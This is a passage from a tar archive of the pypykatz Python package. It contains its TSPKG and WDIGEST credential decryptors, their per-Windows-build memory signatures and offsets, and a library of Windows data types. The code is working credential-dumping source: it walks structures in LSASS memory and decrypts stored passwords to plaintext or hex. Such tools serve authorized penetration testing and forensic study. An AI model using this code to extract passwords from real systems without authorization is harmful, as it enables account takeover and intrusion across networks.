LUID.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await ULONG.loadvalue(reader) await reader.align() res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/tspkg/0000775000175000017500000000000014647211624022531 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/tspkg/__init__.py0000664000175000017500000000000014543266630024632 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/tspkg/decryptor.py0000664000175000017500000000664314543266630025131 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz import logger from pypykatz.alsadecryptor.package_commons import PackageDecryptor from pypykatz.alsadecryptor.win_datatypes import PRTL_AVL_TABLE class TspkgCredential: def __init__(self): self.credtype = 'tspkg' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== TSPKG [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class TspkgDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Tspkg', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self): position = await self.find_signature('TSpkg.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return result_ptr_list = [] await self.reader.move(entry_ptr_value) try: ptable = await PRTL_AVL_TABLE.load(self.reader) start_node = await ptable.read(self.reader) except Exception as e: logger.error('Failed to prcess TSPKG package! Reason: %s' % e) return await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) for ptr in result_ptr_list: await self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__) await self.reader.move(ptr) credential_struct = await self.decryptor_template.credential_struct.load(self.reader) primary_credential = await credential_struct.pTsPrimary.read(self.reader) if not primary_credential is None: c = TspkgCredential() c.luid = credential_struct.LocallyUniqueIdentifier #c.username = primary_credential.credentials.UserName.read_string(self.reader) #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader) #### the above two lines will be switched, because it seems that username and domainname is always switched in this package. #### reason is beyond me... c.domainname = await primary_credential.credentials.UserName.read_string(self.reader) c.username = await primary_credential.credentials.Domaine.read_string(self.reader) if primary_credential.credentials.Password.Length != 0: enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) self.credentials.append(c)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/tspkg/templates.py0000664000175000017500000001163114543266630025105 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # #import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild from pypykatz.alsadecryptor.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID from pypykatz.alsadecryptor.package_commons import PackageTemplate class TspkgTemplate(PackageTemplate): def __init__(self): super().__init__('Tspkg') self.signature = None self.avl_offset = None self.credential_struct = None @staticmethod def get_template(sysinfo): template = TspkgTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d' template.avl_offset = 7 if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.credential_struct = KIWI_TS_CREDENTIAL_x64 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe' template.avl_offset = 8 template.credential_struct = KIWI_TS_CREDENTIAL elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\xff\x53\xbb' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x8b\xff\x57\xbf' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.signature = b'\x8b\xff\x57\xbf' template.avl_offset = 4 template.credential_struct = KIWI_TS_CREDENTIAL_1607 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) template.log_template('credential_struct', template.credential_struct) return template class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_TS_PRIMARY_CREDENTIAL() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_TS_PRIMARY_CREDENTIAL return p class KIWI_TS_PRIMARY_CREDENTIAL: def __init__(self): self.unk0 = None self.credentials = None @staticmethod async def load(reader): res = KIWI_TS_PRIMARY_CREDENTIAL() res.unk0 = await PVOID.load(reader) # // lock ? res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) return res class KIWI_TS_CREDENTIAL: def __init__(self,): self.unk0 = None self.LocallyUniqueIdentifier = None self.unk1 = None self.unk2 = None self.pTsPrimary = None @staticmethod async def load(reader): res = KIWI_TS_CREDENTIAL() res.unk0 = await reader.read(64) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) await reader.align() res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) return res class KIWI_TS_CREDENTIAL_x64: def __init__(self): self.unk0 = None self.LocallyUniqueIdentifier = None self.unk1 = None self.unk2 = None self.pTsPrimary = None @staticmethod async def load(reader): res = KIWI_TS_CREDENTIAL_x64() res.unk0 = await reader.read(108) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) await reader.align() res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) return res class KIWI_TS_CREDENTIAL_1607: def __init__(self): self.unk0 = None self.LocallyUniqueIdentifier = None self.unk1 = None self.unk2 = None self.pTsPrimary = None @staticmethod async def load(reader): res = KIWI_TS_CREDENTIAL_1607() res.unk0 = await reader.read(68) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) await reader.align() res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) return res class KIWI_TS_CREDENTIAL_1607_x64: def __init__(self): self.unk0 = None self.LocallyUniqueIdentifier = None self.unk1 = None self.unk2 = None self.pTsPrimary = None @staticmethod async def load(reader): res = KIWI_TS_CREDENTIAL_1607_x64() res.unk0 = await reader.read(112) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) await reader.align() res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/wdigest/0000775000175000017500000000000014647211624023047 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/wdigest/__init__.py0000664000175000017500000000000014543266630025150 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/wdigest/decryptor.py0000664000175000017500000000603014543266630025435 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz.alsadecryptor.package_commons import PackageDecryptor from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING class WdigestCredential: def __init__(self): self.credtype = 'wdigest' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== WDIGEST [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class WdigestDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Wdigest', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self): position = await self.find_signature('wdigest.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, wdigest_entry): """ Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by adding an offset to the current entry's position """ wc = WdigestCredential() wc.luid = wdigest_entry.luid #input(wdigest_entry.this_entry.value) await self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset) UserName = await LSA_UNICODE_STRING.load(self.reader) DomainName = await LSA_UNICODE_STRING.load(self.reader) Password = await LSA_UNICODE_STRING.load(self.reader) wc.username = await UserName.read_string(self.reader) wc.domainname = await DomainName.read_string(self.reader) wc.encrypted_password = await Password.read_maxdata(self.reader) if wc.username.endswith('$') is True: wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) if wc.password is not None: wc.password = wc.password.hex() else: wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) if wc.username == '' and wc.domainname == '' and wc.password is None: return self.credentials.append(wc) async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find Wdigest structs! Reason: %s' % e) return await self.reader.move(entry_ptr_loc) entry_ptr = await self.decryptor_template.list_entry.load(self.reader) await self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/wdigest/templates.py0000664000175000017500000001142414543266630025423 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # #import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER from pypykatz.alsadecryptor.package_commons import PackageTemplate class WdigestTemplate(PackageTemplate): def __init__(self): super().__init__('Wdigest') self.signature = None self.first_entry_offset = None self.list_entry = None self.primary_offset = None @staticmethod def get_template(sysinfo): template = WdigestTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x48\x3b\xda\x74' template.first_entry_offset = -4 template.primary_offset = 36 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x48\x3b\xda\x74' template.first_entry_offset = -4 template.primary_offset = 48 template.list_entry = PWdigestListEntry elif sysinfo.buildnumber >= WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x48\x3b\xd9\x74' template.first_entry_offset = -4 template.primary_offset = 48 template.list_entry = PWdigestListEntry else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' template.first_entry_offset = -6 template.primary_offset = 36 template.list_entry = PWdigestListEntryNT5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' template.first_entry_offset = -6 template.primary_offset = 28 template.list_entry = PWdigestListEntryNT5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' template.first_entry_offset = -4 template.primary_offset = 32 template.list_entry = PWdigestListEntry elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry else: template.signature = b'\x74\x15\x8b\x17\x39\x56\x10' template.first_entry_offset = -6 template.primary_offset = 32 template.list_entry = PWdigestListEntry else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) template.log_template('list_entry', template.list_entry) return template class PWdigestListEntry(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PWdigestListEntry() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = WdigestListEntry return p class PWdigestListEntryNT5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PWdigestListEntryNT5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = WdigestListEntryNT5 return p class WdigestListEntryNT5: def __init__(self): self.Flink = None self.Blink = None self.this_entry = None self.usage_count = None self.luid = None @staticmethod async def load(reader): res = WdigestListEntryNT5() res.Flink = await PWdigestListEntryNT5.load(reader) res.Blink = await PWdigestListEntryNT5.load(reader) res.this_entry = await PWdigestListEntryNT5.load(reader) res.usage_count = await ULONG.load(reader) await reader.align() #8? res.luid = await LUID.loadvalue(reader) return res class WdigestListEntry: def __init__(self): self.Flink = None self.Blink = None self.usage_count = None self.this_entry = None self.luid = None @staticmethod async def load(reader): res = WdigestListEntry() res.Flink = await PWdigestListEntry.load(reader) res.Blink = await PWdigestListEntry.load(reader) res.usage_count = await ULONG.load(reader) await reader.align() #8? res.this_entry = await PWdigestListEntry.load(reader) res.luid = await LUID.loadvalue(reader) return res././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/win_datatypes.py0000664000175000017500000006207014543266630023057 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # # https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx import enum class POINTER: def __init__(self): self.location = None self.value = None self.finaltype = None @staticmethod async def loadvalue(reader, finaltype = None): p = await POINTER.load(reader, finaltype) return p.value @staticmethod async def load(reader, finaltype): p = POINTER() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = finaltype return p async def read(self, reader, override_finaltype = None): if self.value == 0: return None pos = reader.tell() await reader.move(self.value) if override_finaltype: data = await override_finaltype.load(reader) else: data = await self.finaltype.load(reader) await reader.move(pos) return data async def read_raw(self, reader, size ): #we do not know the finaltype, just want the data if self.value == 0: return None pos = reader.tell() await reader.move(self.value) data = await reader.read(size) await reader.move(pos) return data class PVOID(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def loadvalue(reader): t = await PVOID.load(reader) return t.value @staticmethod async def load(reader, finaltype = None): p = PVOID() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = None return p class BOOL: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await BOOL.load(reader) return t.value @staticmethod async def load(reader): res = BOOL() t = await reader.read_uint() res.value = bool(t) return res class BOOLEAN: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await BOOLEAN.load(reader) return t.value @staticmethod async def load(reader): res = BOOLEAN() t = await reader.read(1) res.value = bool(t) return res class BYTE: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await BYTE.load(reader) return t.value @staticmethod async def load(reader): res = BYTE() t = await reader.read(1) res.value = t return res class PBYTE(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = PBYTE() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = BYTE return p class CCHAR: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await CCHAR.load(reader) return t.value @staticmethod async def load(reader): res = CCHAR() t = await reader.read(1) res.value = t.decode('ascii') return res class CHAR: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await CHAR.load(reader) return t.value @staticmethod async def load(reader): res = CHAR() t = await reader.read(1) res.value = t.decode('ascii') return res class UCHAR: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await UCHAR.load(reader) return t.value @staticmethod async def load(reader): res = UCHAR() t = await reader.read(1) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class WORD: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await WORD.load(reader) return t.value @staticmethod async def load(reader): res = WORD() t = await reader.read(2) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class DWORD: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await DWORD.load(reader) return t.value @staticmethod async def load(reader): res = DWORD() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class DWORDLONG: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await DWORDLONG.load(reader) return t.value @staticmethod async def load(reader): res = DWORDLONG() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class DWORD_PTR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = DWORD_PTR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = DWORD return p class DWORD32: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await DWORD32.load(reader) return t.value @staticmethod async def load(reader): res = DWORD32() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class DWORD64: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await DWORD64.load(reader) return t.value @staticmethod async def load(reader): res = DWORD64() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class HANDLE: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HANDLE.load(reader) return t.value @staticmethod async def load(reader): res = HANDLE() res.value = await reader.read_uint() return res class HFILE: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HFILE.load(reader) return t.value @staticmethod async def load(reader): res = HFILE() res.value = await reader.read_uint() return res class HINSTANCE: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HINSTANCE.load(reader) return t.value @staticmethod async def load(reader): res = HINSTANCE() res.value = await reader.read_uint() return res class HKEY: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HKEY.load(reader) return t.value @staticmethod async def load(reader): res = HKEY() res.value = await reader.read_uint() return res class HKL: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HKL.load(reader) return t.value @staticmethod async def load(reader): res = HKL() res.value = await reader.read_uint() return res class HLOCAL: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await HLOCAL.load(reader) return t.value @staticmethod async def load(reader): res = HLOCAL() res.value = await reader.read_uint() return res class INT: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await INT.load(reader) return t.value @staticmethod async def load(reader): res = INT() res.value = await reader.read_int() return res class INT_PTR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = INT_PTR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = INT return p class UINT8: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await UINT8.load(reader) return t.value @staticmethod async def load(reader): res = UINT8() t = await reader.read(1) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class INT8: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await INT8.load(reader) return t.value @staticmethod async def load(reader): res = INT8() t = await reader.read(1) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class INT16: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await INT16.load(reader) return t.value @staticmethod async def load(reader): res = INT16() t = await reader.read(2) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class INT32: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await INT32.load(reader) return t.value @staticmethod async def load(reader): res = INT32() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class INT64: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await INT64.load(reader) return t.value @staticmethod async def load(reader): res = INT64() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class LONG: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await LONG.load(reader) return t.value @staticmethod async def load(reader): res = LONG() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class LONGLONG: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await LONGLONG.load(reader) return t.value @staticmethod async def load(reader): res = LONGLONG() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class LONG_PTR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = LONG_PTR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = LONG return p class LONG32: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await LONG32.load(reader) return t.value @staticmethod async def load(reader): res = LONG32() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class LONG64(): def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await LONG64.load(reader) return t.value @staticmethod async def load(reader): res = LONG64() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res class LPARAM(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = LPARAM() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = LONG return p class LPBOOL(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = LPBOOL() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = BOOL return p class LPBYTE(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = LPBYTE() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = BYTE return p class ULONG: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await ULONG.load(reader) return t.value @staticmethod async def load(reader): res = ULONG() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class ULONGLONG: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await ULONGLONG.load(reader) return t.value @staticmethod async def load(reader): res = ULONGLONG() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class ULONG32: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await ULONG32.load(reader) return t.value @staticmethod async def load(reader): res = ULONG32() t = await reader.read(4) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class ULONG64: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await ULONG64.load(reader) return t.value @staticmethod async def load(reader): res = ULONG64() t = await reader.read(8) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class PWSTR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = PWSTR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = None return p class PCHAR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = PCHAR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = CHAR return p class USHORT: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await USHORT.load(reader) return t.value @staticmethod async def load(reader): res = USHORT() t = await reader.read(2) res.value = int.from_bytes(t, byteorder = 'little', signed = False) return res class SHORT: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await SHORT.load(reader) return t.value @staticmethod async def load(reader): res = SHORT() t = await reader.read(2) res.value = int.from_bytes(t, byteorder = 'little', signed = True) return res #https://msdn.microsoft.com/en-us/library/windows/hardware/ff554296(v=vs.85).aspx class LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None @staticmethod async def load(reader, finaltype = None): res = LIST_ENTRY() res.Flink = await POINTER.load(reader, finaltype) res.Blink = await POINTER.load(reader, finaltype) return res class FILETIME: def __init__(self): self.dwLowDateTime = None self.dwHighDateTime = None self.value = None @staticmethod async def loadvalue(reader): t = await FILETIME.load(reader) return t.value @staticmethod async def load(reader, finaltype = None): res = FILETIME() res.dwLowDateTime = await DWORD.load(reader) res.dwHighDateTime = await DWORD.load(reader) res.value = (res.dwHighDateTime.value << 32) + res.dwLowDateTime.value return res class PUCHAR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = PUCHAR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = UCHAR return p class PCWSTR(POINTER): def __init__(self): super().__init__() #with void we cannot determine the final type @staticmethod async def load(reader): p = PCWSTR() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = None return p class SIZE_T: def __init__(self): self.value = None @staticmethod async def loadvalue(reader): t = await SIZE_T.load(reader) return t.value @staticmethod async def load(reader): res = SIZE_T() res.value = await reader.read_uint() return res class LARGE_INTEGER: def __init__(self): self.LowPart = None self.HighPart = None self.QuadPart = None @staticmethod async def load(reader): res = LARGE_INTEGER() res.LowPart = await DWORD.loadvalue(reader) res.HighPart = await LONG.loadvalue(reader) res.QuadPart = await LONGLONG.loadvalue(reader) return res class PSID(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PSID() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = SID return p class SID: def __init__(self): self.Revision = None self.SubAuthorityCount = None self.IdentifierAuthority = None self.SubAuthority = [] @staticmethod async def load(reader): res = SID() res.Revision = await UINT8.loadvalue(reader) res.SubAuthorityCount = await UINT8.loadvalue(reader) t = await reader.read(6) res.IdentifierAuthority = int.from_bytes(b'\x00\x00' + t, byteorder = 'big', signed = False) for _ in range(res.SubAuthorityCount): t = await ULONG.loadvalue(reader) res.SubAuthority.append(t) return res def __str__(self): t = 'S-%d-%d' % (self.Revision, self.IdentifierAuthority) for subauthority in self.SubAuthority: t+= '-%d' % (subauthority) return t class LUID: def __init__(self): self.LowPart = None self.HighPart = None self.value = None @staticmethod async def loadvalue(reader): t = await LUID.load(reader) return t.value @staticmethod async def load(reader): res = LUID() res.LowPart = await DWORD.loadvalue(reader) res.HighPart = await LONG.loadvalue(reader) res.value = (res.HighPart << 32) + res.LowPart return res # https://msdn.microsoft.com/en-us/library/windows/desktop/ms721841(v=vs.85).aspx class LSA_UNICODE_STRING: def __init__(self): self.Length = None self.MaximumLength = None self.Buffer = None @staticmethod async def load(reader): res = LSA_UNICODE_STRING() res.Length= await USHORT.loadvalue(reader) res.MaximumLength = await USHORT.loadvalue(reader) await reader.align() res.Buffer = await PWSTR.loadvalue(reader) return res async def read_string(self, reader): if self.Buffer == 0 or self.Length == 0: return '' await reader.move(self.Buffer) data = await reader.read(self.Length) data_str = data.decode('utf-16-le').rstrip('\0') return data_str async def read_data(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' await reader.move(self.Buffer) return await reader.read(self.Length) async def read_maxdata(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' await reader.move(self.Buffer) return await reader.read(self.MaximumLength) # https://msdn.microsoft.com/en-us/library/windows/hardware/ff540605(v=vs.85).aspx class PANSI_STRING(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PANSI_STRING() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = ANSI_STRING return p class ANSI_STRING: def __init__(self): self.Length = None self.MaximumLength = None self.Buffer = None @staticmethod async def load(reader): res = ANSI_STRING() res.Length = await USHORT.loadvalue(reader) res.MaximumLength = await USHORT.loadvalue(reader) res.Buffer = await PCHAR.load(reader) return res async def read_string(self, reader): if self.Buffer == 0 or self.Length == 0: return '' await reader.move(self.Buffer) data = await reader.read(self.Length) data_str = data.decode().rstrip('\0') return data_str async def read_data(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' await reader.move(self.Buffer) return await reader.read(self.Length) # 